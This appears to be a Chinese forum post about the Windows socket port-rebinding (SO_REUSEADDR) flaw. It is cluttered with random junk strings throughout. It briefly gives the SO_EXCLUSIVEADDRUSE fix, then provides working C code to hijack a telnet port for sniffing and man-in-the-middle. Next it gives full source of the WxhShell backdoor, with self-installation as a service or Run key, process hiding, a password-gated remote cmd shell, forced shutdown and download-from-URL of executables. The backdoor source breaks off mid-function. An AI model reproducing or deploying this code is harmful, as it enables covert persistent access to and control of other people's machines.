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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: RqenPMk s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ;n"Nv}<C b-Q%cxJ saddr.sin_family = AF_INET; /xu#ZZ?8F_ c8"9Lv saddr.sin_addr.s_addr = htonl(INADDR_ANY); 7:cmBkXm th 9I]g^=t bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); g`690 ~dpU DF 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 7w_cKR1; bL)7/E 这意味着什么?意味着可以进行如下的攻击: !}[,ODJ4 d @ 7WWoy 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 \]a@ NBv RdtF5#\z 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) ;rK=
jz^Q UF$JVb 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 xKZLXQ'e- kg@Okz N% 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 /@!%/Kl '%}k"&t$i 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 nJ]oApb/- (
\ \BsK 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 2^*a$OJ &.ENcEic 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 aSy^(WN8 .ZzxW #include K:osfd #include jEkO#xI #include |v[0( #include /&`sB| DWORD WINAPI ClientThread(LPVOID lpParam); $XOs(>~"r int main() y7?n;3U]CS { ioZ{2kK WORD wVersionRequested; X,Q'Xe/ DWORD ret; 1_aUU,|. WSADATA wsaData; 63EwV p/| BOOL val; I1Jo 8s SOCKADDR_IN saddr; 42{\u 08Z SOCKADDR_IN scaddr; LZ?z5U: int err; *G6Py,- !f SOCKET s; Vo@gxC, SOCKET sc; }K8W%h<3S int caddsize; Wvg+5Q HANDLE mt; }ob&d.XZ DWORD tid; .w .`1
g wVersionRequested = MAKEWORD( 2, 2 ); S*5hO) C err = WSAStartup( wVersionRequested, &wsaData ); \@3B%RW0 if ( err != 0 ) { ,y'E#_cTgQ printf("error!WSAStartup failed!\n"); " G&S`8 return -1; |lnMT)^D } zP
F0M( saddr.sin_family = AF_INET; orGkS<P C}= *%S //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 )Td;2 -{^I T` saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); S>!
YBzm&X saddr.sin_port = htons(23); KTQy pv if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) &Ti:IC%M { d[p-zn. printf("error!socket failed!\n"); rKtr&w7X return -1; dE`a1H% } ^E)*i#."4 val = TRUE; %+=y! //SO_REUSEADDR选项就是可以实现端口重绑定的 D>Ub)i if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) YEg(QOn3Q { 19r4J(pV
printf("error!setsockopt failed!\n"); `~0^fSww return -1; 3t*e|Ih&j5 } #%=6DHsK //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; &"h 9Awn2 //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 ,k,RXgQ //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 _yu d =tS1|_ if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) 0pC}+
+ { C'_^DPzj ret=GetLastError(); V\!6K printf("error!bind failed!\n"); qt.G_fOz return -1; NQFMExg, } ,bLHkBK listen(s,2); aR2Vvo while(1) T&ECGF;Y/ { >Z\{P8@k0 caddsize = sizeof(scaddr); 8n[6BF); //接受连接请求 'pa>;{ sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); W`qiPLk if(sc!=INVALID_SOCKET) 8BHtN { @lYm2l^ mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); h8ikM&fl if(mt==NULL) Y%i=u:}fm { +i@r-OL printf("Thread Creat Failed!\n"); 2$fFl,v!z break; P_ [A } 4dB6cg } "X.JD CloseHandle(mt); LhfI"fc } g}vOp3^ closesocket(s); `2B,+ytW8 WSACleanup(); QXQ'QEG return 0;
v4pFts$J } <#[_S$54 DWORD WINAPI ClientThread(LPVOID lpParam) 6c?;-5. { 5q.d$K | SOCKET ss = (SOCKET)lpParam; >BDK?YMx SOCKET sc; w[WyT`6h! unsigned char buf[4096]; 6<uJ}3 SOCKADDR_IN saddr; 8@}R_GZc long num; z)Yk&;XC DWORD val; N y\c>$z DWORD ret; {x-iBg9#l2 //如果是隐藏端口应用的话,可以在此处加一些判断 wa#$9p~Q //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 fpDx)lQ saddr.sin_family = AF_INET; #]~l]Eq saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); gG 9e.++: saddr.sin_port = htons(23); %X--`91|u if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 5Oa`1?C1 { \BoRYb9h printf("error!socket failed!\n"); A<1:vV return -1; [32]wgw+{1 } |<Cz#|
,q val = 100;
`.Oj^H6 if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) n%SR5+N" { ir72fSe ret = GetLastError(); Mdj?;'Yv return -1; L7gZ4Hu=` } (.CEEWj%{ if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 86bRfW' { )@IDmz> ret = GetLastError(); @y|ZXPC# return -1; X\z`S##kj } AM[#AZv if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) MR) *Xh { JTw< 4] printf("error!socket connect failed!\n"); vM.Y/,7S closesocket(sc); _7)>/YK?}4 closesocket(ss); B"07:sO return -1; vxey$Ir } ^AI5SjOUx while(1) ];3]/b)& { oCCTRLb02 //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 #|ppW fZQ //如果是嗅探内容的话,可以再此处进行内容分析和记录 <l:c O$ m //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 (O&R-5m num = recv(ss,buf,4096,0); j,]KidDWm if(num>0) 1\[En/6 send(sc,buf,num,0); K4r"Q*h else if(num==0) B7*^rbI:X break; h()Ok9] num = recv(sc,buf,4096,0); [SJ)4e|) if(num>0) i;CVgdQ8 send(ss,buf,num,0); fP:n=A{ else if(num==0) v$P<:M M break; RS8tE( } q_hkI] closesocket(ss); 9AA_e
~y closesocket(sc); kF1Tg KSd return 0 ; (oftq!X2 } 6t,_Xqg* w%3R[Kdzk ~6<'cun@x ========================================================== :EkhF6B/ cE|Z=}4I7 下边附上一个代码,,WXhSHELL c2tf7fkH b3zxiq
x ========================================================== [i9.#* R#n!1~ ( #include "stdafx.h" _3pME9l l{2Y[&% #include <stdio.h> RF#S=X6 #include <string.h> 6*{sZMG #include <windows.h> 3eg)O34 #include <winsock2.h> 8Hdm(> #include <winsvc.h> <$V!y
dO #include <urlmon.h> w;p:4` 4YT d #pragma comment (lib, "Ws2_32.lib") }#b[@3/T #pragma comment (lib, "urlmon.lib") y{?wxg9 |5;:3K+ #define MAX_USER 100 // 最大客户端连接数 bXx2]E227 #define BUF_SOCK 200 // sock buffer Y`U[Y Hx #define KEY_BUFF 255 // 输入 buffer N084k}io Xf"B\%,(` #define REBOOT 0 // 重启 THOXs;
k0 #define SHUTDOWN 1 // 关机 ^L,Uz:[J [?=Vqd #define DEF_PORT 5000 // 监听端口 vmY 88Kx&S 0sQt+_Dl%L #define REG_LEN 16 // 注册表键长度 UhI T!x #define SVC_LEN 80 // NT服务名长度
@_ZE_n w[/_ o,R // 从dll定义API ;b-d2R typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 0-=PP@W typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 6AA"JX typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ++d%D9*V< typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); g5\EVcHkz wqZ*$M // wxhshell配置信息 .#4;em%7 struct WSCFG { 'a^'f]" int ws_port; // 监听端口 FxkxV GZ" char ws_passstr[REG_LEN]; // 口令 6>hW.aq} int ws_autoins; // 安装标记, 1=yes 0=no JM&:dzyIP char ws_regname[REG_LEN]; // 注册表键名 CY4ntd4M char ws_svcname[REG_LEN]; // 服务名 fx"~WeVcO char ws_svcdisp[SVC_LEN]; // 服务显示名 tn\PxT char ws_svcdesc[SVC_LEN]; // 服务描述信息 KysJ3G.k\ char ws_passmsg[SVC_LEN]; // 密码输入提示信息 )J"*[[e int ws_downexe; // 下载执行标记, 1=yes 0=no >$g+Gx\v4 char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" |)4aIa char ws_filenam[SVC_LEN]; // 下载后保存的文件名 RyN}Gz/YN FUD
M]:XQ }; vhEXtjL G<MX94? // default Wxhshell configuration Mq#sSBE<K struct WSCFG wscfg={DEF_PORT, b.4H4LV "xuhuanlingzhe", PlX6,3F 1, Wifr%&t{J "Wxhshell", 2H]~X9,z2 "Wxhshell", egd%,` "WxhShell Service", PdkS3Hz "Wrsky Windows CmdShell Service", iVQ)hsW/ "Please Input Your Password: ", 0o>l+c 1, G|LJOq7QB " http://www.wrsky.com/wxhshell.exe", hk7kg/" "Wxhshell.exe" s4&JBm(33N }; U.kTdNSp "h84D&V // 消息定义模块 G(*7hs char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; S+LS!b char *msg_ws_prompt="\n\r? for help\n\r#>"; HXg#iP^tv char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; VOa7qnh4:[ char *msg_ws_ext="\n\rExit."; 9?6]Zag char *msg_ws_end="\n\rQuit."; (9A`[TRwi char *msg_ws_boot="\n\rReboot..."; jW!x!8= char *msg_ws_poff="\n\rShutdown..."; 5R UhrE char *msg_ws_down="\n\rSave to "; u~-,kF@ i+Fk char *msg_ws_err="\n\rErr!"; h%0FKi^ char *msg_ws_ok="\n\rOK!"; ,iy;L_N Z'V"nhL char ExeFile[MAX_PATH]; y?}R,5k int nUser = 0; ]rY3bG'& HANDLE handles[MAX_USER]; zfBaB0 P int OsIsNt; q' "(QI7:iM SERVICE_STATUS serviceStatus; tnn,lWu| SERVICE_STATUS_HANDLE hServiceStatusHandle; zNo(|;19 ,xzSFs>2 // 函数声明 @Q%g#N int Install(void); s7(I int Uninstall(void); ,RYahu int DownloadFile(char *sURL, SOCKET wsh); -:jC.}
Y int Boot(int flag); p&O-]o8 void HideProc(void); [? 1m6u; int GetOsVer(void); YZHqy++x int Wxhshell(SOCKET wsl); /yd<+on^ void TalkWithClient(void *cs); B'U;i5u4' int CmdShell(SOCKET sock); IW&.JNcN int StartFromService(void); aP}%&{iC* int StartWxhshell(LPSTR lpCmdLine); h]w5N2$}? qbunP! VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); gT=RJB VOID WINAPI NTServiceHandler( DWORD fdwControl ); d=$1Z.] @XSxoUF\ // 数据结构和表定义 K]0K/~>8 SERVICE_TABLE_ENTRY DispatchTable[] = )h&*b9[B= { OM1pyt {wscfg.ws_svcname, NTServiceMain}, 0D=7Mef {NULL, NULL} a+_F^ }; sP`
k{xG $mF(6<w // 自我安装 F#
a)"$j; int Install(void) E~| XY9U36 { /`x)B(b char svExeFile[MAX_PATH]; ;A3aUN;"I HKEY key; Cjn)`Q8 strcpy(svExeFile,ExeFile); M%#H>X\/ |TE\ ] // 如果是win9x系统,修改注册表设为自启动 6Y-sc*5 if(!OsIsNt) { Q&;d7A.@ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { i(pevu RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); |#rP~Nj) RegCloseKey(key); <zdo%~ba if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { P?Fm<s: RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); s(3iGuT RegCloseKey(key); -g6C;<Y return 0; {W5D) } l*0`{R } A>OGU ^ } %J
'RO else { CNRiK;nQ yS2[V,vS7 // 如果是NT以上系统,安装为系统服务 VJ'bS9/T SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); N:yyDeGyW if (schSCManager!=0) 9tZ+?O5 { 5%Xny8
]|D SC_HANDLE schService = CreateService (qky&}H ( r!,/~~mT schSCManager, $>M A wscfg.ws_svcname, Wt8=j1> wscfg.ws_svcdisp, O:>9yZhV SERVICE_ALL_ACCESS, HsQ\xQ"k! SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , Ov5*&*P SERVICE_AUTO_START, ^HM9'*&KJ SERVICE_ERROR_NORMAL, B<A=U r svExeFile, iO?Sf8yJ: NULL, |x ~<Dc>0* NULL, i(l'f# NULL, RgQ;fYS NULL, ktMUTL(B NULL 4qc0QA% ); M^$liS.D if (schService!=0) w' gKE'c { ~l=Jx* CloseServiceHandle(schService); |##rs CloseServiceHandle(schSCManager); &\_cU?0d strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ?7:?OX strcat(svExeFile,wscfg.ws_svcname); 8pQ:B/3= if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { i H^Gv * RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); HR>
X@ g<c RegCloseKey(key); [61T$ . return 0; ,svj(HP$ } ZGHh!Ds; } NL-<K CloseServiceHandle(schSCManager); !]v &/ } .bT|:Q~@{ } \XUG-\$p ~_YU%y return 1; 5Tt%<#4 } w=txSF&Qr '/@]V // 自我卸载 t ;~H6 int Uninstall(void) =rrbS8To= { fcC?1M[BP~ HKEY key; >[U.P)7; *k7vm%#ns if(!OsIsNt) { ;J)8#| if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 2'8$I}h RegDeleteValue(key,wscfg.ws_regname); pSLv1d"9{ RegCloseKey(key); D#~S<>u@ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { <g^!xX<r? RegDeleteValue(key,wscfg.ws_regname);
Owa]ax5 RegCloseKey(key); 3?"JFfYU,' return 0; f/&k$,w } \~YyY'J } G \S >H } xlH?J;$ else { b[MdA|C%j hR] AUH SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 8O)!{gB if (schSCManager!=0) )=
,Lfj8x { \AT]$`8@_ SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); fy(i<L
Z if (schService!=0) nO d'$q { DsY$ if(DeleteService(schService)!=0) { PI~W6a7p CloseServiceHandle(schService); zz4.gkU CloseServiceHandle(schSCManager); ppBIl6 return 0; t[.wx.y&0 } G}lP'9/ CloseServiceHandle(schService); Ofyz,%
|Q } %Ny`d49& CloseServiceHandle(schSCManager); #xopJa Y } l5m5H,` } MZ8jL,a^ S4jt*]w5b return 1; l^F%fIRp) } ^rDT+ x rX*ATN // 从指定url下载文件 dX58nJ4u int DownloadFile(char *sURL, SOCKET wsh) #e!4njdM { &d`z|Gx9 HRESULT hr; x 7;Zwd char seps[]= "/"; y,*>+xk, char *token; _uR-Z_z char *file; ~[CtsCiQ char myURL[MAX_PATH]; u
I \zDR char myFILE[MAX_PATH]; ||lI_B .o2]ndT/J strcpy(myURL,sURL); iZVMDJ?(Z] token=strtok(myURL,seps); U~mv1V^. while(token!=NULL) mh#dnxeR { KXgC]IO~ file=token; &tULSp@J token=strtok(NULL,seps); }Ot
I8;> } G$5N8k[2 O>E2G]K]\ GetCurrentDirectory(MAX_PATH,myFILE); $hkMJ),T~ strcat(myFILE, "\\"); fDn| o" strcat(myFILE, file); o*_O1P send(wsh,myFILE,strlen(myFILE),0); cdDMV%V send(wsh,"...",3,0); +b7}R7:AFH hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ohdWEU, if(hr==S_OK) ,=9e]pQ return 0; Dm=Em-ST6 else G n_AXN return 1; da[u@eNrnX :\*<EIk( } ,6zH;fi *|f&a // 系统电源模块 R|%R-J] int Boot(int flag) Y=oj0(Q* { j;tT SNF HANDLE hToken; P}%0YJ$6 TOKEN_PRIVILEGES tkp; J{gqm Sd3KY9, if(OsIsNt) { &AMW?vO OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ZwLD7j*) LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 0.}Um tkp.PrivilegeCount = 1; Ufz& 2 tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; LiyEF&_u AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); h SZ0 }/ if(flag==REBOOT) { :%dIX}F if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) >b |TaQ return 0; UC,43 z } VOYuog 5o else { 6
1=?(Iw if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 3gW4\2|T return 0; K)Nbl^6x } N#;k;Z'iL } r@&d88U: else { y@;4F n/ if(flag==REBOOT) { oh '\,zpL if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) LF'M!C9| return 0; yJaQcGxE" } wl{Fx+<^3 else { U}xQUFT| if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) }57wE$9K return 0; e!wS"[, } E6SGK,f0D } 7-M$c7S Vrf+~KO7 return 1; gY],
(*v } B)F2SK<@ u"K-mr#$[o // win9x进程隐藏模块 g1Q^x/ void HideProc(void) G4Zs(:a { !8"516!d|p
H}NW? HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); C7(kV{h$d if ( hKernel != NULL ) Jy'ge4]3 { H!Y`?Rc pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); *'+OA6 ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); Gd)@PWK FreeLibrary(hKernel); '|0Dt|$ } *M_.>".P D?rQQxb return; #&G^%1! } IKM=Q.
7j ui4H(A'} // 获取操作系统版本 =|n NC int GetOsVer(void) DT # 1*&- { VVdgNT|}W OSVERSIONINFO winfo; G?)vqmJ% winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); Eb`U^*A GetVersionEx(&winfo); A6'G%of
if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) Urhh)i return 1; =5E G}@ else jNN$/ZWm return 0; I"E5XVC); } NDhHU#Q9 WigC' // 客户端句柄模块 >JFAE5tj&2 int Wxhshell(SOCKET wsl) ^f{+p*i}: { tvptawA. SOCKET wsh; XljiK8q;% struct sockaddr_in client; rUkiwqr~E DWORD myID; Y%$57,Bu n WlVC0& while(nUser<MAX_USER) wO!k|7:Z { cpB$b C]( int nSize=sizeof(client); $|!VP'VI wsh=accept(wsl,(struct sockaddr *)&client,&nSize); WKZ9i2hcdf if(wsh==INVALID_SOCKET) return 1; `LL#Ai a M_V\mYC8I handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); M'D;2qo if(handles[nUser]==0) c"%XE#D closesocket(wsh); B`a5%asJn else R|h9ilc nUser++; ]*pALT6 } 65RWaz;| WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); MpM-xz~ "A^9WhUpJ return 0; Tn[DF9;? } qFmvc A'qJke= // 关闭 socket bL+Hw6; void CloseIt(SOCKET wsh) 4E:HO\ { ]yN]^%PYH closesocket(wsh); 5tR<aIf nUser--; 3|%Q{U ExitThread(0); wH[@#UP3l } :{C#<g` >Vc_.dR)E // 客户端请求句柄 : L` void TalkWithClient(void *cs) KYVB=14 { DY?`Y%" ]j0v.[SX SOCKET wsh=(SOCKET)cs; I ms?^`N
char pwd[SVC_LEN]; ghJ81 char cmd[KEY_BUFF]; o"t+G/M char chr[1]; -MoI{3a int i,j; RX:\@c& kRnh20I while (nUser < MAX_USER) { $lci{D32, 7ZS5u+o if(wscfg.ws_passstr) { M)6_Tal if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ,T_HE3 K //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); =35^k-VS //ZeroMemory(pwd,KEY_BUFF); VB*$lxX i=0; zl46E~"]x while(i<SVC_LEN) { y[S5 UDV,c o // 设置超时 nCEt*~t9VE fd_set FdRead; FJo N"X struct timeval TimeOut; It!%/Y5 FD_ZERO(&FdRead); =0`"T!1 FD_SET(wsh,&FdRead); ]7v-qd TimeOut.tv_sec=8; _h7! TimeOut.tv_usec=0; +Tde#T&[ int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); BBnbXhxZ if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); * 4GJ< qX`?4"4 if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); x;lIw)Ti pwd =chr[0]; =)"60R7{ if(chr[0]==0xd || chr[0]==0xa) { .Nr}V.?57 pwd=0; rE[*iq,# break; p+#J;. } O9oVx4= i++; 83:m7; } }Gr5TDiV0\ Jg3}U j2By // 如果是非法用户,关闭 socket ow]S 3[07 if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); B+eB=KL } :x]gTZ? x$I~y D send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); /K<Xr[z~y send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ^10*s,(uS? pq+Gsu1^ while(1) {
md_aD VR2BdfKU, ZeroMemory(cmd,KEY_BUFF); ,\4@Ao \TkBV?W // 自动支持客户端 telnet标准 pNr3u j=0; I5>HB;Q while(j<KEY_BUFF) { W}+Q!T= if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ]K?z|&N|HK cmd[j]=chr[0]; 4vPQuk! if(chr[0]==0xa || chr[0]==0xd) { a*6x^R;) cmd[j]=0; C78YHjy break; jwyJ=W- } rPkV=9ull, j++; bV|:MW<Wv } <_8\}! ' ~ lC85 // 下载文件 YN9ug3O+ if(strstr(cmd,"http://")) { FVT_%"%C9 send(wsh,msg_ws_down,strlen(msg_ws_down),0); .RH}/D if(DownloadFile(cmd,wsh)) T/MbEqAf send(wsh,msg_ws_err,strlen(msg_ws_err),0); 6cVaO@/( else e(x1w&8dB send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ["Ep.7=SU } 6GMQgTY^ else { CspY+%3$ V/$qD switch(cmd[0]) { 8V`r*:\ oat*ORL // 帮助 'g^;_=^G case '?': { 9
Bz~3 send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ^4x(a& break; FgrOZI;_ } #?YQ&o~gZ // 安装 9yajtR case 'i': { DoX#+
07u4 if(Install()) =et=X_3- send(wsh,msg_ws_err,strlen(msg_ws_err),0); ]zmY]5 else G#@o6r send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); \evK.i*KfA break; nORm7sa9 } XB UO // 卸载 M/:kh,3 case 'r': { fBS;~;l if(Uninstall()) E@hvO% send(wsh,msg_ws_err,strlen(msg_ws_err),0); <w+K$WE { else HGs.v}@& send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); v0jRoE# break; 4&!`Yi_1L } }I}Rq D:` // 显示 wxhshell 所在路径 x,@cU}D case 'p': { Jj*XnL* char svExeFile[MAX_PATH]; ,;y5Mu8 strcpy(svExeFile,"\n\r"); hZVF72D26 strcat(svExeFile,ExeFile); vi["G7 send(wsh,svExeFile,strlen(svExeFile),0); .AH#D}m break; HZ5*PXg~ } q El:2 < // 重启 X2(TuR*t case 'b': { tk|Ew!M: send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 0qnToV; if(Boot(REBOOT)) hvQOwA;e send(wsh,msg_ws_err,strlen(msg_ws_err),0); \,!FL))yC else { 29z+<?K{ closesocket(wsh); epJVs0W ExitThread(0); K;,n?Q w } +IK~a9t break; 8GN0487H } gnlGL[r| // 关机 A/lxXy}D case 'd': { [53rSr send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 4M*UVdJ; if(Boot(SHUTDOWN)) b|u4h9 send(wsh,msg_ws_err,strlen(msg_ws_err),0); d2'9C6t else { q62TYg} closesocket(wsh); 79n,bb5 ExitThread(0);
R,x\VX!| } =7e~L 3 K break; `S2YBKz,1 } m%m/#\J E // 获取shell |t1D8){! case 's': { ~=aGv%vX
CmdShell(wsh); Q 6{2@ closesocket(wsh); eA$9)K1GO ExitThread(0); J~V`"uo break; e57}.pF^ } =Jg5J5 // 退出 h2`W~g_ case 'x': { }at8b ^ send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); /~{8/u3 CloseIt(wsh); fa8vY break; Bbz#$M!: } U O YM // 离开 ?9mFI (r~ case 'q': {
1t+]r:{ send(wsh,msg_ws_end,strlen(msg_ws_end),0); oil s;*q closesocket(wsh); R{NmWj['Mg WSACleanup(); 'C]zB'H= exit(1); _&DI_'5q+ break; ^SpD) O{ } WpP8J1KN[ } 8b8ui } K
I Fx~=mYU // 提示信息 y-cRqIM if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); W(E!: } f]^(|*6 } S7P](F=n# ]7^OTrZ N return; %0YwaxXPn7 } p~J`}>yo w")VcAq // shell模块句柄 Q!7Er int CmdShell(SOCKET sock) l]%_D*<Y { INby0S STARTUPINFO si; w}zl=w{G ZeroMemory(&si,sizeof(si)); KV k
36;$ si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ld-c? si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; x/{ PROCESS_INFORMATION ProcessInfo; B'"C?d<7 char cmdline[]="cmd"; S)Sv4Qm CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); k?0yH$)'t return 0; .n[!3X|d } kLU$8L XE[~!
>' // 自身启动模式 {wih)XNY int StartFromService(void) ajq [ID { j+\I4oFN typedef struct ?w`uv9NUJ8 { \`;FL\1+W DWORD ExitStatus; |y)R lb#d DWORD PebBaseAddress; AH{]tE DWORD AffinityMask; !R-M:| DWORD BasePriority; fLA!oeq{&} ULONG UniqueProcessId; sn
'#]yM ULONG InheritedFromUniqueProcessId; +v2Fr} } PROCESS_BASIC_INFORMATION; }_u1' &, hhH_W PROCNTQSIP NtQueryInformationProcess; 5&D)W>{d q+.DZ
